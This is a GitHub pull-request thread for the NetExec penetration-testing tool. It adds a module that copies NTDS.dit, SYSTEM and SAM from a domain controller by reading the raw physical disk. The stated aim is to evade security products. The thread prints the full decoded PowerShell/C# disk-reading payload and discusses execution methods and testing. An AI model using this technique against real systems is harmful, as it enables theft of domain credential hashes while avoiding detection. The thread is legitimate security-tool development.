NetExec icon indicating copy to clipboard operation
NetExec copied to clipboard

Add raw-ntds-copy module

Open 0xb11a1 opened this issue 1 year ago • 23 comments

A new module for dumping the NTDS.dit, SYSTEM, and SAM files directly from the hard drive by analyzing the NTFS structure. This can be considered an alternative method to Shadow Copy, enabling the extraction of these files even if they are locked or protected by a process. It doesn't use the standard Windows API for file access, making it difficult for security solutions to detect which files are being copied.

image

0xb11a1 avatar Oct 19 '24 14:10 0xb11a1

@0xb11a1 This is an awesome technique, any reference to this? I just know that RawCopy can do this, but I don't know how to calculate the buf/offset stuff.

XiaoliChan avatar Oct 20 '24 03:10 XiaoliChan

Hey @XiaoliChan, unfortunately I don’t have a specific reference for this as it’s a bit messy and gathered from multiple sources. However, this tool 'Active@ Disk Editor' has been really helpful, especially with its template feature that highlights header structures. here is an example of it : image

What exactly do you mean by buf/offset? If you’re referring to the dataRun (the actual location of file fragments on disk), I understood it from this video: https://www.youtube.com/watch?v=6WFUM5eViIk . My implementation of it can be found in the 'decode_dataRun' function within the code. let me know if that helped or not.

0xb11a1 avatar Oct 20 '24 10:10 0xb11a1

This looks really cool! Thanks for the PR. Can you provide the source code for the base64 encoded code and how you compiled it, so i can verify the code myself?

NeffIsBack avatar Oct 20 '24 10:10 NeffIsBack

Thanks @NeffIsBack, for decoding the code, it uses only base64, you can decode it directly yourself using Cyberchef from here https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Decode_text('UTF-16LE%20(1200)')&oenc=65001

What the code does is creating a function that reads "PHYSICALDRIVE0" by specific offset, then base64 the output binary and compress it using gzip for faster network transfer.

The decoded version :

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;

public class CNativeMethods
{
   public const uint GENERIC_READ = 0x80000000;
   public const uint OPEN_EXISTING = 3;
   public const uint FILE_SHARE_READ = 0x00000001;
   public const uint FILE_SHARE_WRITE = 0x00000002;
   public const uint FILE_SHARE_DELETE = 0x00000004;

   [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
   public static extern SafeFileHandle CreateFile(
       string lpFileName, 
       uint dwDesiredAccess, 
       uint dwShareMode, 
       IntPtr lpSecurityAttributes, 
       uint dwCreationDisposition, 
       uint dwFlagsAndAttributes, 
       IntPtr hTemplateFile
   );

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool ReadFile(
       SafeFileHandle hFile, 
       byte[] lpBuffer, 
       uint nNumberOfBytesToRead, 
       out uint lpNumberOfBytesRead, 
       IntPtr lpOverlapped
   );

   [DllImport("kernel32.dll", SetLastError = true)]
   public static extern bool SetFilePointerEx(
       SafeFileHandle hFile, 
       long lDistanceToMove, 
       out long lpNewFilePointer, 
       uint dwMoveMethod
   );
}

public enum EMoveMethod : uint
{
   Begin = 0,
   Current = 1,
   End = 2
}
"@
Function read_disk{


$offset = [long]$args[0]
$size = [int]$args[1]
try {
   $handle = [CNativeMethods]::CreateFile("\\.\PHYSICALDRIVE0", 
       [CNativeMethods]::GENERIC_READ, 
       [CNativeMethods]::FILE_SHARE_READ -bor [CNativeMethods]::FILE_SHARE_WRITE -bor [CNativeMethods]::FILE_SHARE_DELETE, 
       [IntPtr]::Zero, [CNativeMethods]::OPEN_EXISTING, 0, [IntPtr]::Zero)

   if ($handle.IsInvalid) {
       throw "Failed to create file handle"
   }

   $moveToHigh = 0
   $success = [CNativeMethods]::SetFilePointerEx($handle, $offset, [ref]$moveToHigh, [EMoveMethod]::Begin)
   if (-not $success) {
       throw "Failed to set file pointer"
   }

   $buffer = New-Object byte[] $size
   $bytesRead = 0
   $success = [CNativeMethods]::ReadFile($handle, $buffer, $size, [ref]$bytesRead, [IntPtr]::Zero)

   if (-not $success) {
       throw "Failed to read file"
   }

   $memoryStream = New-Object System.IO.MemoryStream

   
   $gzipStream = New-Object System.IO.Compression.GzipStream($memoryStream, [System.IO.Compression.CompressionMode]::Compreass)

   $gzipStream.Write($buffer, 0, $buffer.Length)
   $gzipStream.Close()
   
   $compressedBytes = $memoryStream.ToArray()
   
   $compressedBase64 = [Convert]::ToBase64String($compressedBytes)

   Write-Output $compressedBase64

   

} catch {
   Write-Error "An error occurred: $_"
}

finally {
   if ($handle -and !$handle.IsInvalid) {
       $handle.Close()
   }
}
}

0xb11a1 avatar Oct 20 '24 10:10 0xb11a1

Is there a way to add this code as an option for the --ntds core option ? Since we already have --ntds vss, may be we can add --ntds raw ?

Dfte avatar Oct 20 '24 11:10 Dfte

Can this technique create a bsod ?

mpgn avatar Oct 20 '24 11:10 mpgn

@mpgn i don't think so as the main function that is being executed in the DC is "CreateFile" to read at specific offset, unless it has some weird edge case. i will do some more research into it and stress testing it. everything else is handled in python.

0xb11a1 avatar Oct 20 '24 11:10 0xb11a1

@Dfte, it is a good idea to do that, i tried to do it yesterday thought it will be quick. but since the module requires the connection class in order to execute the Powershell code on the target, not sure how to do it in the structure of NetExec, i need to look more into it.

0xb11a1 avatar Oct 21 '24 10:10 0xb11a1

@Dfte, it is a good idea to do that, i tried to do it yesterday thought it will be quick. but since the module requires the connection class in order to execute the Powershell code on the target, not sure how to do it in the structure of NetExec, i need to look more into it.

self.conn.execute(...) ?

mpgn avatar Oct 21 '24 11:10 mpgn

Stupid question of mine may be but there is no way you can get the offsets remotely without executing any powershell ? PhysicalDrive offsets are not stored in registry keys ? (may be something I can assist with ?)

Dfte avatar Oct 21 '24 11:10 Dfte

@Dfte i don't think they are stored there, but if you find a way to get the offset from there i think it would be good to have it. But either way for the raw copy to happen i think we still need to execute a Powershell script in order to get the data based on the extracted offsets.

Also, i switch it to be an ntds option as @Dfte suggested: image

0xb11a1 avatar Oct 26 '24 10:10 0xb11a1

You can also use impacket to read the result directly instead of letting the user enter manually the final command 😉

mpgn avatar Oct 26 '24 11:10 mpgn

@mpgn yea that is helpful, i will try to check some examples from Netexec and do the same.

0xb11a1 avatar Oct 26 '24 13:10 0xb11a1

@mpgn yea that is helpful, i will try to check some examples from Netexec and do the same.

you can check this https://github.com/fortra/impacket/blob/835e17550b57606ee3c681ae1c3f0edea096ec19/examples/secretsdump.py#L317

mpgn avatar Oct 26 '24 13:10 mpgn

@mpgn i've added it

image

0xb11a1 avatar Oct 26 '24 15:10 0xb11a1

image

:crying_cat_face:

mpgn avatar Dec 16 '24 21:12 mpgn

Can your please share the --debug output.

0xb11a1 avatar Dec 18 '24 12:12 0xb11a1

@mpgn Also try changing the executing method --exec-method smbexec or to another one.

0xb11a1 avatar Dec 18 '24 12:12 0xb11a1

From my testing it looks like it is working: image

@mpgn maybe AV killed some commands?

NeffIsBack avatar Dec 18 '24 23:12 NeffIsBack

No luck, av is disabled, Windows server 2019, could it be that both of you are testing against a server 2022 ?

image

mpgn avatar Dec 19 '24 09:12 mpgn

Mine was running against WINTERFELL which is Windows Server 2019 with build number 17763. Looks like you have the same base image (also build number 17763) so i guess it's something else. Can you share the debug log? image

NeffIsBack avatar Dec 19 '24 13:12 NeffIsBack

@mpgn can you recheck this? Would nice if we could figure out the problem so we can merge the PR

NeffIsBack avatar Mar 24 '25 16:03 NeffIsBack

I have updated the pull to sync with the main repo, making it work again. As for @mpgn , I was unable to reproduce the issue so far.

0xb11a1 avatar Mar 25 '25 07:03 0xb11a1

Hi, @0xb11a1 really sorry for the extremely late response 👀 We talked a bit internally and due to the required command execution i think it is best if we would convert it to a module similar to the ntdsutil module. Would that be fine for you?

NeffIsBack avatar Jul 10 '25 21:07 NeffIsBack

Hey, no worries will work on it during the weekend

0xb11a1 avatar Jul 11 '25 11:07 0xb11a1

Great, thanks!

NeffIsBack avatar Jul 12 '25 21:07 NeffIsBack

Above I only marked a few examples of lines that need to be changed. Please review your code according to the stuff above

NeffIsBack avatar Jul 14 '25 22:07 NeffIsBack

Did the requested changes, please review them and let me know if they are correct or if anything else needs to be done

0xb11a1 avatar Jul 19 '25 09:07 0xb11a1

Did the requested changes, please review them and let me know if they are correct or if anything else needs to be done

Looks much better! Thanks!

NeffIsBack avatar Jul 19 '25 12:07 NeffIsBack

Another thought, how about we name the module ntds_dump_raw? A bit more descriptive imo and if the module begins with ntds... it will be listed next to ntdsutil when listing modules. Thoughts everyone?

NeffIsBack avatar Jul 19 '25 16:07 NeffIsBack